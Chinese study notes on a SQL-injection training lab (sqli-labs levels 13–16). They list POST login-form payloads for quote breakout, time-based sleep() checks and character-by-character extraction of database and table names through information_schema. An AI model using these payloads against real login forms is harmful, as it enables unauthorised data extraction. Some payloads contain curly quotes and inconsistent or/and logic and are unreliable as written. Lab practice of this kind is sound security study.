sqli-labs闯关笔记-less-13-less16


less13-less16为布尔型盲注,没有回显数据。

less-13——基于’)的错误布尔注入

 以下均为POST内容:

1、uname=admin &passwd=admin&submit=Submit 此时只是显示登陆成功,但是不会显示其他的信息。
2、uname=‘ &passwd=a&submit=Submit 直接通过报错信息知道了如何构造 构造:1’) or 1=1#

uname=a') or 1=1#  &passwd=admin &submit=Submit

3、uname=admin‘) order by 2# &passwd=admin&submit=Submit 此时只是显示登陆成功,但是不会显示其他信息,考虑盲注。

uname=admin') order by 2#  &passwd=admin &submit=Submit

4、uname=admin‘) or if(length(database())=8,1,sleep(5))# &passwd=admin&submit=Submit 此时可以得到数据库的长度是8.

uname=admin') or if(length(database())=8,1,sleep(2))#  &passwd=admin &submit=Submit

5、uname=admin&passwd=ain‘) or left(database(),1)>’a‘#&submit=Submit 使用or和left()来判断第一个字母是多少(注意的是这里不是使用and)

uname=admin') and left(database(),1)>'a'#  &passwd=admin &submit=Submit

6、uname=admin&passwd=ain‘) or left(database(),2)=’se‘#&submit=Submit 通过这样一个个进行判断即可!

uname=admin') and left(database(),2)>'sa'#  &passwd=admin &submit=Submit

7、uname=admin&passwd=ain‘) or left((select schema_name from information_schema.schemata limit 0,1),1)>’a‘#&submit=Submit 或者是使用这种方法也是可以判断的。
uname=admin&passwd=ain‘) or left((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1)=’e‘#&submit=Submit 查表,也可使用burpsuite进行辅助测试

uname=admin') and left((select schema_name from information_schema.schemata limit 0,1),1)>"a"#  &passwd=admin &submit=Submit

less-14——基于"的错误布尔注入

less14同less13,闭合符合为双引号闭合。

uname=admin" and 1=1# &passwd=admin &submit=Submit

less15——基于'的注入

less15同less13,闭合符合为单引号闭合。

uname=admin' and 1=1# &passwd=admin &submit=Submit

less16——基于")的注入

less16同less13,闭合符号为双引号右括号闭合。

uname=admin") and 1=1# &passwd=admin &submit=Submit